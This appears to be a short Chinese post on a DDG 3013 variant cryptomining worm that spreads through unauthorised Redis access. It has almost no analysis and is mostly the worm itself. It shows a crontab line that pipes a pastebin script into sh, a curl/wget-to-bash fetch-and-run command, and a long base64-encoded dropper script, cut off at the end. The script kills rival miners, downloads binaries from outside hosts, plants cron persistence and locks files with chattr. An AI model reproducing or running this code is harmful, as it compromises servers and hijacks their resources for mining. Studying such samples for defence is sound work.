DDG 3013 变种: 基于Redis未授权访问的挖矿蠕虫简要分析 https://pastebin.com/raw/5bjpjvLP

安宇雨
2018-11-21 10:35:54
操作系统
南摩阿彌陀佛

[root@izwz95e56pb3pfanwfvu0dz jexus]# crontab -e
*/23 * * * * (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh
##

(curl -fsSL https://pastebin.com/raw/Gw7mywhC||wget -q -O- https://pastebin.com/raw/Gw7mywhC)|base64 -d|/bin/bash

IyEvYmluL2Jhc2gKU0hFTEw9L2Jpbi9zaApQQVRIPS91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2Jpbjovc2JpbjovYmluOi91c3Ivc2JpbjovdXNyL2JpbgoKZnVuY3Rpb24gYigpIHsKcGtpbGwgLWYgc291cnBsdW0KcGtpbGwgd25US1lnICYmIHBraWxsIGRkZyogJiYgcm0gLXJmIC90bXAvZGRnKiAmJiBybSAtcmYgL3RtcC93blRLWWcKcm0gLXJmIC90bXAvcVczeFQuMiAvdG1wL2RkZ3MuMzAxMyAvdG1wL2RkZ3MuMzAxMiAvdG1wL3duVEtZZyAvdG1wLzJ0M2lrCnJtIC1yZiAvYm9vdC9ncnViL2RlYW1vbiAmJiBybSAtcmYgL2Jvb3QvZ3J1Yi9kaXNrX2dlbml1cwpybSAtcmYgL3RtcC8qaW5kZXhfYmFrKgpybSAtcmYgL3RtcC8qaHR0cGQuY29uZioKcm0gLXJmIC90bXAvKmh0dHBkLmNvbmYKcm0gLXJmIC90bXAvYTdiMTA0YzI3MApwa2lsbCAtZiBiaW9zZXRqZW5raW5zCnBraWxsIC1mIEFuWHFWLnlhbQpwa2lsbCAtZiB4bXJpZ0RhZW1vbgpwa2lsbCAtZiB4bXJpZ01pbmVyCnBraWxsIC1mIHhtcmlnCnBraWxsIC1mIExvb3BiYWNrCnBraWxsIC1mIGFwYWNlaGEKcGtpbGwgLWYgY3J5cHRvbmlnaHQKcGtpbGwgLWYgc3RyYXR1bQpwa2lsbCAtZiBtaXhuZXJkeApwa2lsbCAtZiBwZXJmb3JtZWRsCnBraWxsIC1mIEpuS2loR2puCnBraWxsIC1mIGlycWJhMmFuYzEKcGtpbGwgLWYgaXJxYmE1eG5jMQpwa2lsbCAtZiBpcnFibmMxCnBraWxsIC1mIGlyMjl4YzEKcGtpbGwgLWYgY29ubnMKcGtpbGwgLWYgaXJxYmFsYW5jZQpwa2lsbCAtZiBjcnlwdG8tcG9vbApwa2lsbCAtZiBtaW5leG1yCnBraWxsIC1mIFhKblJqCnBraWxsIC1mIE5YTEFpCnBraWxsIC1mIEJJNXpqCnBraWxsIC1mIGFza2Rsamxxdwpwa2lsbCAtZiBtaW5lcmQKcGtpbGwgLWYgbWluZXJnYXRlCnBraWxsIC1mIEd1YXJkLnNoCnBraWxsIC1mIHlzYXlkaApwa2lsbCAtZiBib25ucwpwa2lsbCAtZiBkb25ucwpwa2lsbCAtZiBreGpkCnBraWxsIC1mIER1Y2suc2gKcGtpbGwgLWYgYm9ubi5zaApwa2lsbCAtZiBjb25uLnNoCnBraWxsIC1mIGt3b3JrZXIzNApwa2lsbCAtZiBrdy5zaApwa2lsbCAtZiBwcm8uc2gKcGtpbGwgLWYgcG9sa2l0ZApwa2lsbCAtZiBhY3BpZApwa2lsbCAtZiBpY2I1bwpwa2lsbCAtZiBub3B4aQpwa2lsbCAtZiBpcnFiYWxhbmMxCnBraWxsIC1mIG1pbmVyZApwa2lsbCAtZiBpNTg2CnBraWxsIC1mIGdkZHIKcGtpbGwgLWYgbXN0eG1yCnBraWxsIC1mIGRkZy4yMDExCnBraWxsIC1mIHduVEtZZwpwa2lsbCAtZiBkZWFtb24KcGtpbGwgLWYgZGlza19nZW5pdXMKcGtpbGwgLWYgc291cnBsdW0KcGtpbGwgLWYgYmFzaHgKcGtpbGwgLWYgYmFzaGcKcGtpbGwgLWYgYmFzaGUKcGtpbGwgLWYgYmFzaGYKcGtpbGwgLWYgYmFzaGgKcGtpbGwgLWYgWGJhc2hZCnBraWxsIC1mIGxpYmFwYWNoZQpwa2lsbCAtZiBxVzN4VC4yCnBraWxsIC1mIC91c3IvYmluLy5zc2hkCnBraWxsIC1mIHN1c3Rlcwpwa2lsbCAtZiBYYmFzaApybSAtcmYgL3Zhci90bXAvaioKcm0gLXJmIC90bXAvaioKcm0gLXJmIC92YXIvdG1wL2phdmEKcm0gLXJmIC90bXAvamF2YQpybSAtcmYgL3Zhci90bXAvamF2YTIKcm0gLXJmIC90bXAvamF2YTIKcm0gLXJmIC92YXIvdG1wL2phdmEqCnJtIC1yZiAvdG1wL2phdmEqCnJtIC1yZiAvdG1wL2h0dHBkLmNvbmYKcm0gLXJmIC90bXAvY29ubgpybSAtcmYgL3RtcC8udW5pbnN0YWxsKiAvdG1wLy5weXRob24qIC90bXAvLnRhYmxlcyogL3RtcC8ubWFzCnJtIC1yZiAvdG1wL3Jvb3Quc2ggL3RtcC9wb29scy50eHQgL3RtcC9saWJhcGFjaGUgL3RtcC9jb25maWcuanNvbiAvdG1wL2Jhc2hmIC90bXAvYmFzaGcgL3RtcC9saWJhcGFjaGUKY2hhdHRyIC1pIC90bXAva3dvcmtlcmRzIC92YXIvdG1wL2t3b3JrZXJkcyAvdmFyL3RtcC9jb25maWcuanNvbiAvdG1wLy5zeXN0ZW1kLXByaXZhdGUtKgpybSAtcmYgL3RtcC9rd29ya2VyZHMgL3Zhci90bXAva3dvcmtlcmRzIC92YXIvdG1wL2NvbmZpZy5qc29uIC90bXAvLnN5c3RlbWQtcHJpdmF0ZS0qCmNoYXR0ciAtaSAvdXNyL2xpYi9saWJpYWNwa21uLnNvLjMgJiYgcm0gLXJmIC91c3IvbGliL2xpYmlhY3BrbW4uc28uMwpjaGF0dHIgLWkgL2V0Yy9pbml0LmQvbmZzdHJ1bmNhdGUgJiYgcm0gLXJmIC9ldGMvaW5pdC5kL25mc3RydW5jYXRlCmNoYXR0ciAtaSAvYmluL25mc3RydW5jYXRlICYmIHJtIC1yZiAvYmluL25mc3RydW5jYXRlCnJtIC1yZiAvZXRjL3JjKi5kL1MwMW5mc3RydW5jYXRlIC9ldGMvcmMuZC9yYyouZC9TMDFuZnN0cnVuY2F0ZSAKY2hhdHRyIC1pIC9iaW4vZGR1cy11aWRnZW4gL2V0Yy9pbml0LmQvYWNwaWR0ZCAvZXRjL3JjLmQvcmMqLmQvUzAxYWNwaWR0ZCAvZXRjL3JjKi5kL1MwMWFjcGlkdGQgL2V0Yy9sZC5zYy5jb25mCnJtIC1yZiAvYmluL2RkdXMtdWlkZ2VuIC9ldGMvaW5pdC5kL2FjcGlkdGQgL2V0Yy9yYy5kL3JjKi5kL1MwMWFjcGlkdGQgL2V0Yy9yYyouZC9TMDFhY3BpZHRkIC9ldGMvbGQuc2MuY29uZgpBUkNIPSQodW5hbWUgLWkpCmlmIFsgIiRBUkNIIiA9PSAieDg2XzY0IiBdOyB0aGVuCgkoY3VybCAtZnNTTCAtLWNvbm5lY3QtdGltZW91dCAxMjAgaHR0cHM6Ly9naXRodWIuY29tL1NZU1RFTUZPVVIvVEVOL3JlbGVhc2VzL2Rvd25sb2FkLzEvbjY0IC1vIC9iaW4vbmV0c3RhdHx8d2dldCBodHRwczovL2dpdGh1Yi5jb20vU1lTVEVNRk9VUi9URU4vcmVsZWFzZXMvZG93bmxvYWQvMS9uNjQgLU8gL2Jpbi9uZXRzdGF0KSAmJiBjaG1vZCAreCAvYmluL25ldHN0YXQgJiYgdG91Y2ggLWFjbXIgL2Jpbi9zaCAvYmluL25ldHN0YXQKZWxpZiBbICIkQVJDSCIgPT0gImkzODYiIF07IHRoZW4KCShjdXJsIC1mc1NMIC0tY29ubmVjdC10aW1lb3V0IDEyMCBodHRwczovL2dpdGh1Yi5jb20vU1lTVEVNRk9VUi9URU4vcmVsZWFzZXMvZG93bmxvYWQvMS9uMzIgLW8gL2Jpbi9uZXRzdGF0fHx3Z2V0IGh0dHBzOi8vZ2l0aHViLmNvbS9TWVNURU1GT1VSL1RFTi9yZWxlYXNlcy9kb3dubG9hZC8xL24zMiAtTyAvYmluL25ldHN0YXQpICYmIGNobW9kICt4IC9iaW4vbmV0c3RhdCAmJiB0b3VjaCAtYWNtciAvYmluL3NoIC9iaW4vbmV0c3RhdAplbHNlCgkoY3VybCAtZnNTTCAtLWNvbm5lY3QtdGltZW91dCAxMjAgaHR0cHM6Ly9naXRodWIuY29tL1NZU1RFTUZPVVIvVEVOL3JlbGVhc2VzL2Rvd25sb2FkLzEvbjMyIC1vIC9iaW4vbmV0c3RhdHx8d2dldCBodHRwczovL2dpdGh1Yi5jb20vU1lTVEVNRk9VUi9URU4vcmVsZWFzZXMvZG93bmxvYWQvMS9uMzIgLU8gL2Jpbi9uZXRzdGF0KSAmJiBjaG1vZCAreCAvYmluL25ldHN0YXQgJiYgdG91Y2ggLWFjbXIgL2Jpbi9zaCAvYmluL25ldHN0YXQKZmkKcHMgYXV4ZnxncmVwIC12IGdyZXB8Z3JlcCAtdiAiXF8iIHxncmVwIC12ICJrdGhyZWFkZCIgfGdyZXAgIlxbLipcXSJ8YXdrICd7cHJpbnQgJDJ9J3x4YXJncyBraWxsIC05CnBzIGF1eGZ8Z3JlcCAtdiBncmVwfGdyZXAgInhtcmlnIiB8IGF3ayAne3ByaW50ICQyfSd8eGFyZ3Mga2lsbCAtOQpwcyBhdXhmfGdyZXAgLXYgZ3JlcHxncmVwICJ4bXJpZ0RhZW1vbiIgfCBhd2sgJ3twcmludCAkMn0nfHhhcmdzIGtpbGwgLTkKcHMgYXV4ZnxncmVwIC12IGdyZXB8Z3JlcCAieG1yaWdNaW5lciIgfCBhd2sgJ3twcmludCAkMn0nfHhhcmdzIGtpbGwgLTkKcHMgYXV4ZnxncmVwIC12IGdyZXB8Z3JlcCAieGlnIiB8IGF3ayAne3ByaW50ICQyfSd8eGFyZ3Mga2lsbCAtOQpwcyBhdXhmfGdyZXAgLXYgZ3JlcHxncmVwICJkZGdzIiB8IGF3ayAne3ByaW50ICQyfSd8eGFyZ3Mga2lsbCAtOQpwcyBhdXhmfGdyZXAgLXYgZ3JlcHxncmVwICJxVzN4VCIgfCBhd2sgJ3twcmludCAkMn0nfHhhcmdzIGtpbGwgLTkKcHMgYXV4ZnxncmVwIC12IGdyZXB8Z3JlcCAidDAwbHMucnUiIHwgYXdrICd7cHJpbnQgJDJ9J3x4YXJncyBraWxsIC05CnBzIGF1eGZ8Z3JlcCAtdiBncmVwfGdyZXAgIi92YXIvdG1wL3N1c3RlcyIgfCBhd2sgJ3twcmludCAkMn0nfHhhcmdzIGtpbGwgLTkKcHMgYXV4ZnxncmVwIC12IGdyZXB8Z3JlcCAic3VzdGVzIiB8IGF3ayAne3ByaW50ICQyfSd8eGFyZ3Mga2lsbCAtOQpwcyBhdXhmfGdyZXAgLXYgZ3JlcHxncmVwICJYYmFzaCIgfCBhd2sgJ3twcmludCAkMn0nfHhhcmdzIGtpbGwgLTkKcHMgYXV4ZnxncmVwIC12IGdyZXB8Z3JlcCAiaGFzaGZpc2giIHwgYXdrICd7cHJpbnQgJDJ9J3x4YXJncyBraWxsIC05CnBzIGF1eGZ8Z3JlcCAtdiBncmVwfGdyZXAgImNyYW5iZXJ5IiB8IGF3ayAne3ByaW50ICQyfSd8eGFyZ3Mga2lsbCAtOQpwcyBhdXhmfGdyZXAgLXYgZ3JlcHxncmVwICJzdHJhdHVtIiB8IGF3ayAne3ByaW50ICQyfSd8eGFyZ3Mga2lsbCAtOQpwcyBhdXhmfGdyZXAgLXYgZ3JlcHxncmVwICJ4bXIiIHwgYXdrICd7cHJpbnQgJDJ9J3x4YXJncyBraWxsIC05CnBzIGF1eGZ8Z3JlcCAtdiBncmVwfGdyZXAgIm1pbmVyZCIgfCBhd2sgJ3twcmludCAkMn0nfHhhcmdzIGtpbGwgLTkKcHMgYXV4ZnxncmVwIC12IGdyZXB8Z3JlcCAvdG1wL3RoaXN4eHN8YXdrICd7cHJpbnQgJDJ9J3x4YXJncyBraWxsICAKcHMgYXV4ZnxncmVwIC12IGdyZXB8Z3JlcCAvb3B0L3lpbHUvd29yay94aWcveGlnfGF3ayAne3ByaW50ICQyfSd8eGFyZ3Mga2lsbCAtOQpwcyBhdXhmfGdyZXAgLXYgZ3JlcHxncmVwIC9vcHQveWlsdS9tc2VydmljZXxhd2sgJ3twcmludCAkMn0nfHhhcmdzIGtpbGwgLTkKcHMgYXV4ZnxncmVwIC12IGdyZXB8Z3JlcCAvdXNyL2Jpbi8uc3NoZHxhd2sgJ3twcmludCAkMn0nfHhhcmdzIGtpbGwgLTkKcHMgYXV4ZnxncmVwIC12IGdyZXB8cmVwIC91c3IvYmluL2JzZC1wb3J0L2dldHR5IHwgYXdrICd7cHJpbnQgJDJ9J3x4YXJncyBraWxsIC05Cm5ldHN0YXQgLWFucCB8IGdyZXAgNjkuMjguNTUuODY6NDQzIHxhd2sgJ3twcmludCAkN30nfCBhd2sgLUYnWy9dJyAne3ByaW50ICQxfScgfCB4YXJncyBraWxsIC05Cm5ldHN0YXQgLWFucCB8IGdyZXAgMTg1LjcxLjY1LjIzOCB8YXdrICd7cHJpbnQgJDd9J3wgYXdrIC1GJ1svXScgJ3twcmludCAkMX0nIHwgeGFyZ3Mga2lsbCAtOQpuZXRzdGF0IC1hbnAgfCBncmVwIDE0MC44Mi41Mi44NyB8YXdrICd7cHJpbnQgJDd9J3wgYXdrIC1GJ1svXScgJ3twcmludCAkMX0nIHwgeGFyZ3Mga2lsbCAtOQpuZXRzdGF0IC1hbnAgfCBncmVwIDozMzMzIHxhd2sgJ3twcmludCAkN30nfCBhd2sgLUYnWy9dJyAne3ByaW50ICQxfScgfCB4YXJncyBraWxsIC05Cm5ldHN0YXQgLWFucCB8IGdyZXAgOjQ0NDQgfGF3ayAne3ByaW50ICQ3fSd8IGF3ayAtRidbL10nICd7cHJpbnQgJDF9JyB8IHhhcmdzIGtpbGwgLTkKbmV0c3RhdCAtYW5wIHwgZ3JlcCA6NTU1NSB8YXdrICd7cHJpbnQgJDd9J3wgYXdrIC1GJ1svXScgJ3twcmludCAkMX0nIHwgeGFyZ3Mga2lsbCAtOQpuZXRzdGF0IC1hbnAgfCBncmVwIDo2NjY2IHxhd2sgJ3twcmludCAkN30nfCBhd2sgLUYnWy9dJyAne3ByaW50ICQxfScgfCB4YXJncyBraWxsIC05Cm5ldHN0YXQgLWFucCB8IGdyZXAgOjc3NzcgfGF3ayAne3ByaW50ICQ3fSd8IGF3ayAtRidbL10nICd7cHJpbnQgJDF9JyB8IHhhcmdzIGtpbGwgLTkKbmV0c3RhdCAtYW5wIHwgZ3JlcCA6MzM0NyB8YXdrICd7cHJpbnQgJDd9J3wgYXdrIC1GJ1svXScgJ3twcmludCAkMX0nIHwgeGFyZ3Mga2lsbCAtOQpuZXRzdGF0IC1hbnAgfCBncmVwIDoxNDQ0NCB8YXdrICd7cHJpbnQgJDd9J3wgYXdrIC1GJ1svXScgJ3twcmludCAkMX0nIHwgeGFyZ3Mga2lsbCAtOQpuZXRzdGF0IC1hbnAgfCBncmVwIDoxNDQzMyB8YXdrICd7cHJpbnQgJDd9J3wgYXdrIC1GJ1svXScgJ3twcmludCAkMX0nIHwgeGFyZ3Mga2lsbCAtOQpwPSQocHMgYXV4ZnxncmVwIC12IGdyZXB8Z3JlcCBrd29ya2VyZHN8d2MgLWwpCmlmIFsgJHtwfSAtZXEgMCBdO3RoZW4KCW5ldHN0YXQgLWFucCB8IGdyZXAgOjEzNTMxIHxhd2sgJ3twcmludCAkN30nfCBhd2sgLUYnWy9dJyAne3ByaW50ICQxfScgfCB4YXJncyBraWxsIC05CglwcyBhdXhmfGdyZXAgLXYgZ3JlcCB8IGF3ayAne2lmKCQzPj04MC4wKSBwcmludCAkMn0nfCB4YXJncyBraWxsIC05CmZpCn0KCmZ1bmN0aW9uIGQoKSB7Cglwcz0kKG5ldHN0YXQgLWFuIHwgZ3JlcCA6MTM1MzEgfCB3YyAtbCkKCWlmIFsgJHtwc30gLWVxIDAgXTt0aGVuCgkJKGN1cmwgLWZzU0wgLS1jb25uZWN0LXRpbWVvdXQgMTIwIGh0dHBzOi8vZ2l0aHViLmNvbS9TWVNURU1GT1VSL1RFTi9yZWxlYXNlcy9kb3dubG9hZC8xLzEgLW8gL3RtcC9rd29ya2VyZHN8fHdnZXQgaHR0cHM6Ly9naXRodWIuY29tL1NZU1RFTUZPVVIvVEVOL3JlbGVhc2VzL2Rvd25sb2FkLzEvMSAtTyAvdG1wL2t3b3JrZXJkcykgJiYgY2htb2QgK3ggL3RtcC9rd29ya2VyZHMKCQlub2h1cCAvdG1wL2t3b3JrZXJkcyA+L2Rldi9udWxsIDI+JjEgJgoJZmkKCXNsZWVwIDEwCn0KCmZ1bmN0aW9uIGUoKSB7Cglta2RpciAtcCAvdmFyL3RtcAoJY2htb2QgMTc3NyAvdmFyL3RtcAoJcG09JChuZXRzdGF0IC1hbiB8IGdyZXAgOjEzNTMxIHwgd2MgLWwpCglpZiBbICR7cG19IC1lcSAwIF07dGhlbgoJCShjdXJsIC1mc1NMIC0tY29ubmVjdC10aW1lb3V0IDEyMCBodHRwczovL2dpdGh1Yi5jb20vU1lTVEVNRk9VUi9URU4vcmVsZWFzZXMvZG93bmxvYWQvMS9jIC1vIC92YXIvdG1wL2NvbmZpZy5qc29ufHx3Z2V0IGh0dHBzOi8vZ2l0aHViLmNvbS9TWVNURU1GT1VSL1RFTi9yZWxlYXNlcy9kb3dubG9hZC8xL2MgLU8gL3Zhci90bXAvY29uZmlnLmpzb24pICYmIGNobW9kICt4IC92YXIvdG1wL2NvbmZpZy5qc29uCgkJQVJDSD0kKHVuYW1lIC1pKQoJCWlmIFsgIiRBUkNIIiA9PSAieDg2XzY0IiBdOyB0aGVuCgkJCShjdXJsIC1mc1NMIC0tY29ubmVjdC10aW1lb3V0IDEyMCBodHRwczovL2dpdGh1Yi5jb20vU1lTVEVNRk9VUi9URU4vcmVsZWFzZXMvZG93bmxvYWQvMS94MiAtbyAvdmFyL3RtcC9rd29ya2VyZHN8fHdnZXQgaHR0cHM6Ly9naXRodWIuY29tL1NZU1RFTUZPVVIvVEVOL3JlbGVhc2VzL2Rvd25sb2FkLzEveDIgLU8gL3Zhci90bXAva3dvcmtlcmRzKSAmJiBjaG1vZCAreCAvdmFyL3RtcC9rd29ya2VyZHMKCQllbGlmIFsgIiRBUkNIIiA9PSAiaTM4NiIgXTsgdGhlbgoJCQkoY3VybCAtZnNTTCAtLWNvbm5lY3QtdGltZW91dCAxMjAgaHR0cHM6Ly9naXRodWIuY29tL1NZU1RFTUZPVVIvVEVOL3JlbGVhc2VzL2Rvd25sb2FkLzEveDEgLW8gL3Zhci90bXAva3dvcmtlcmRzfHx3Z2V0IGh0dHBzOi8vZ2l0aHViLmNvbS9TWVNURU1GT1VSL1RFTi9yZWxlYXNlcy9kb3dubG9hZC8xL3gxIC1PIC92YXIvdG1wL2t3b3JrZXJkcykgJiYgY2htb2QgK3ggL3Zhci90bXAva3dvcmtlcmRzCgkJZWxzZQoJCQkoY3VybCAtZnNTTCAtLWNvbm5lY3QtdGltZW91dCAxMjAgaHR0cHM6Ly9naXRodWIuY29tL1NZU1RFTUZPVVIvVEVOL3JlbGVhc2VzL2Rvd25sb2FkLzEveDEgLW8gL3Zhci90bXAva3dvcmtlcmRzfHx3Z2V0IGh0dHBzOi8vZ2l0aHViLmNvbS9TWVNURU1GT1VSL1RFTi9yZWxlYXNlcy9kb3dubG9hZC8xL3gxIC1PIC92YXIvdG1wL2t3b3JrZXJkcykgJiYgY2htb2QgK3ggL3Zhci90bXAva3dvcmtlcmRzCgkJZmkKCQlub2h1cCAvdmFyL3RtcC9rd29ya2VyZHMgPi9kZXYvbnVsbCAyPiYxICYKCWZpCn0KCmZ1bmN0aW9uIGYoKSB7Cglub2h1cCBweXRob24gLWMgImltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKCdJMk52WkdsdVp6b2dkWFJtTFRnS2FXMXdiM0owSUhWeWJHeHBZZ3BwYlhCdmNuUWdZbUZ6WlRZMENncGtQU0FuYUhSMGNITTZMeTl3WVhOMFpXSnBiaTVqYjIwdmNtRjNMMlZTYTNKVFVXWkZKd3AwY25rNkNpQWdJQ0J3WVdkbFBXSmhjMlUyTkM1aU5qUmtaV052WkdVb2RYSnNiR2xpTG5WeWJHOXdaVzRvWkNrdWNtVmhaQ2dwS1FvZ0lDQWdaWGhsWXlod1lXZGxLUXBsZUdObGNIUTZDaUFnSUNCd1lYTnonKSkiID4vZGV2L251bGwgMj4mMSAmCgl0b3VjaCAvdG1wLy4zOHQ5Z3VmdDAwNTVkMDU2NXU0NDRndGpyMAp9CgpmdW5jdGlvbiBjKCkgewoJY2hhdHRyIC1pIC91c3IvbG9jYWwvYmluL2RucyAvZXRjL2Nyb24uZC9yb290IC9ldGMvY3Jvbi5kL2FwYWNoZSAvdmFyL3Nwb29sL2Nyb24vcm9vdCAvdmFyL3Nwb29sL2Nyb24vY3JvbnRhYnMvcm9vdCAvZXRjL2xkLnNvLnByZWxvYWQKCShjdXJsIC1mc1NMIC0tY29ubmVjdC10aW1lb3V0IDEyMCBodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvRmoyWWRFVHYgLW8gL3Vzci9sb2NhbC9iaW4vZG5zfHx3Z2V0IGh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9GajJZZEVUdiAtTyAvdXNyL2xvY2FsL2Jpbi9kbnMpICYmIGNobW9kIDc1NSAvdXNyL2xvY2FsL2Jpbi9kbnMgJiYgdG91Y2ggLWFjbXIgL2Jpbi9zaCAvdXNyL2xvY2FsL2Jpbi9kbnMgJiYgY2hhdHRyICtpIC91c3IvbG9jYWwvYmluL2RucwoJZWNobyAtZSAiU0hFTEw9L2Jpbi9zaFxuUEFUSD0vc2JpbjovYmluOi91c3Ivc2JpbjovdXNyL2JpblxuTUFJTFRPPXJvb3RcbkhPTUU9L1xuIyBydW4tcGFydHNcbjAxICogKiAqICogcm9vdCBydW4tcGFydHMgL2V0Yy9jcm9uLmhvdXJseVxuMDIgNCAqICogKiByb290IHJ1bi1wYXJ0cyAvZXRjL2Nyb24uZGFpbHlcbjAgMSAqICogKiByb290IC91c3IvbG9jYWwvYmluL2RucyIgPiAvZXRjL2Nyb250YWIgJiYgdG91Y2ggLWFjbXIgL2Jpbi9zaCAvZXRjL2Nyb250YWIKCWVjaG8gLWUgIiovMTAgKiAqICogKiByb290IChjdXJsIC1mc1NMIGh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy81YmpwanZMUHx8d2dldCAtcSAtTy0gaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzVianBqdkxQKXxzaFxuIyMiID4gL2V0Yy9jcm9uLmQvcm9vdCAmJiB0b3VjaCAtYWNtciAvYmluL3NoIC9ldGMvY3Jvbi5kL3Jvb3QgJiYgY2hhdHRyICtpIC9ldGMvY3Jvbi5kL3Jvb3QKCWVjaG8gLWUgIiovMTcgKiAqICogKiByb290IChjdXJsIC1mc1NMIGh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy81YmpwanZMUHx8d2dldCAtcSAtTy0gaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzVianBqdkxQKXxzaFxuIyMiID4gL2V0Yy9jcm9uLmQvYXBhY2hlICYmIHRvdWNoIC1hY21yIC9iaW4vc2ggL2V0Yy9jcm9uLmQvYXBhY2hlICYmIGNoYXR0ciAraSAvZXRjL2Nyb24uZC9hcGFjaGUKCWVjaG8gLWUgIiovMjMgKiAqICogKiAoY3VybCAtZnNTTCBodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvNWJqcGp2TFB8fHdnZXQgLXEgLU8tIGh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy81YmpwanZMUCl8c2hcbiMjIiA+IC92YXIvc3Bvb2wvY3Jvbi9yb290ICYmIHRvdWNoIC1hY21yIC9iaW4vc2ggL3Zhci9zcG9vbC9jcm9uL3Jvb3QgJiYgY2hhdHRyICtpIC92YXIvc3Bvb2wvY3Jvbi9yb290Cglta2RpciAtcCAvdmFyL3Nwb29sL2Nyb24vY3JvbnRhYnMKCWVjaG8gLWUgIiovMzEgKiAqICogKiAoY3VybCAtZnNTTCBodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvNWJqcGp2TFB8fHdnZXQgLXEgLU8tIGh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy81YmpwanZMUCl8c2hcbiMjIiA+IC92YXIvc3Bvb2wvY3Jvbi9jcm9udGFicy9yb290ICYmIHRvdWNoIC1hY21yIC9iaW4vc2ggL3Zhci9zcG9vbC9jcm9uL2Nyb250YWJzL3Jvb3QgJiYgY2hhdHRyICtpIC92YXIvc3Bvb2wvY3Jvbi9jcm9udGFicy9yb290Cglta2RpciAtcCAvZXRjL2Nyb24uaG91cmx5CgkoY3VybCAtZnNTTCAtLWNvbm5lY3QtdGltZW91dCAxMjAgaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzVianBqdkxQIC1vIC9ldGMvY3Jvbi5ob3VybHkvb2FuYWNyb25lcnx8d2dldCBodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvNWJqcGp2TFAgLU8gL2V0Yy9jcm9uLmhvdXJseS9vYW5hY3JvbmVyKSAmJiBjaG1vZCA3NTUgL2V0Yy9jcm9uLmhvdXJseS9vYW5hY3JvbmVyCglta2RpciAtcCAvZXRjL2Nyb24uZGFpbHkKCShjdXJsIC1mc1NMIC0tY29ubmVjdC10aW1lb3V0IDEyMCBodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvNWJqcGp2TFAgLW8gL2V0Yy9jcm9uLmRhaWx5L29hbmFjcm9uZXJ8fHdnZXQgaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzVianBqdkxQIC1PIC9ldGMvY3Jvbi5kYWlseS9vYW5hY3JvbmVyKSAmJiBjaG1vZCA3NTUgL2V0Yy9jcm9uLmRhaWx5L29hbmFjcm9uZXIKCW1rZGlyIC1wIC9ldGMvY3Jvbi5tb250aGx5CgkoY3VybCAtZnNTTCAtLWNvbm5lY3QtdGltZW91dCAxMjAgaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzVianBqdkxQIC1vIC9ldGMvY3Jvbi5tb250aGx5L29hbmFjcm9uZXJ8fHdnZXQgaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzVianBqdkxQIC1PIC9ldGMvY3Jvbi5tb250aGx5L29hbmFjcm9uZXIpICYmIGNobW9kIDc1NSAvZXRjL2Nyb24ubW9udGhseS9vYW5hY3JvbmVyCglta2RpciAtcCAvdXNyL2xvY2FsL2xpYi8KCWlmIFsgISAtZiAiL3Vzci9sb2NhbC9saWIvbGlibnRwZC5zbyIgXTsgdGhlbgoJCUFSQ0g9JCh1bmFtZSAtaSkKCQlpZiBbICIkQVJDSCIgPT0gIng4Nl82NCIgXTsgdGhlbgoJCQkoY3VybCAtZnNTTCAtLWNvbm5lY3QtdGltZW91dCAxMjAgaHR0cHM6Ly9naXRodWIuY29tL1NZU1RFTUZPVVIvVEVOL3JlbGVhc2VzL2Rvd25sb2FkLzEvMiAtbyAvdXNyL2xvY2FsL2xpYi9saWJudHBkLnNvfHx3Z2V0IGh0dHBzOi8vZ2l0aHViLmNvbS9TWVNURU1GT1VSL1RFTi9yZWxlYXNlcy9kb3dubG9hZC8xLzIgLU8gL3Vzci9sb2NhbC9saWIvbGlibnRwZC5zbykgJiYgY2htb2QgNzU1IC91c3IvbG9jYWwvbGliL2xpYm50cGQuc28gJiYgdG91Y2ggLWFjbXIgL2Jpbi9zaCAvdXNyL2xvY2FsL2xpYi9saWJudHBkLnNvICYmIGNoYXR0ciAraSAvdXNyL2xvY2FsL2xpYi9saWJudHBkLnNvCgkJZWxpZiBbICIkQVJDSCIgPT0gImkzODYiIF07IHRoZW4KCQkJKGN1cmwgLWZzU0wgLS1jb25uZWN0LXRpbWVvdXQgMTIwIGh0dHBzOi8vZ2l0aHViLmNvbS9TWVNURU1GT1VSL1RFTi9yZWxlYXNlcy9kb3dubG9hZC8xLzIyIC1vIC91c3IvbG9jYWwvbGliL2xpYm50cGQuc298fHdnZXQgaHR0cHM6Ly9naXRodWIuY29tL1NZU1RFTUZPVVIvVEVOL3JlbGVhc2VzL2Rvd25sb2FkLzEvMjIgLU8gL3Vzci9sb2NhbC9saWIvbGlibnRwZC5zbykgJiYgY2htb2QgNzU1IC91c3IvbG9jYWwvbGliL2xpYm50cGQuc28gJiYgdG91Y2ggLWFjbXIgL2Jpbi9zaCAvdXNyL2xvY2FsL2xpYi9saWJudHBkLnNvICYmIGNoYXR0ciAraSAvdXNyL2xvY2FsL2xpYi9saWJudHBkLnNvCgkJZWxzZQoJCQkoY3VybCAtZnNTTCAtLWNvbm5lY3QtdGltZW91dCAxMjAgaHR0cHM6Ly9naXRodWIuY29tL1NZU1RFTUZPVVIvVEVOL3JlbGVhc2VzL2Rvd25sb2FkLzEvMiAtbyAvdXNyL2xvY2FsL2xpYi9saWJudHBkLnNvfHx3Z2V0IGh0dHBzOi8vZ2l0aHViLmNvbS9TWVNURU1GT1VSL1RFTi9yZWxlYXNlcy9kb3dubG9hZC8xLzIgLU8gL3Vzci9sb2NhbC9saWIvbGlibnRwZC5zbykgJiYgY2htb2QgNzU1IC91c3IvbG9jYWwvbGliL2xpYm50cGQuc28gJiYgdG91Y2ggLWFjbXIgL2Jpbi9zaCAvdXNyL2xvY2FsL2xpYi9saWJudHBkLnNvICYmIGNoYXR0ciAraSAvdXNyL2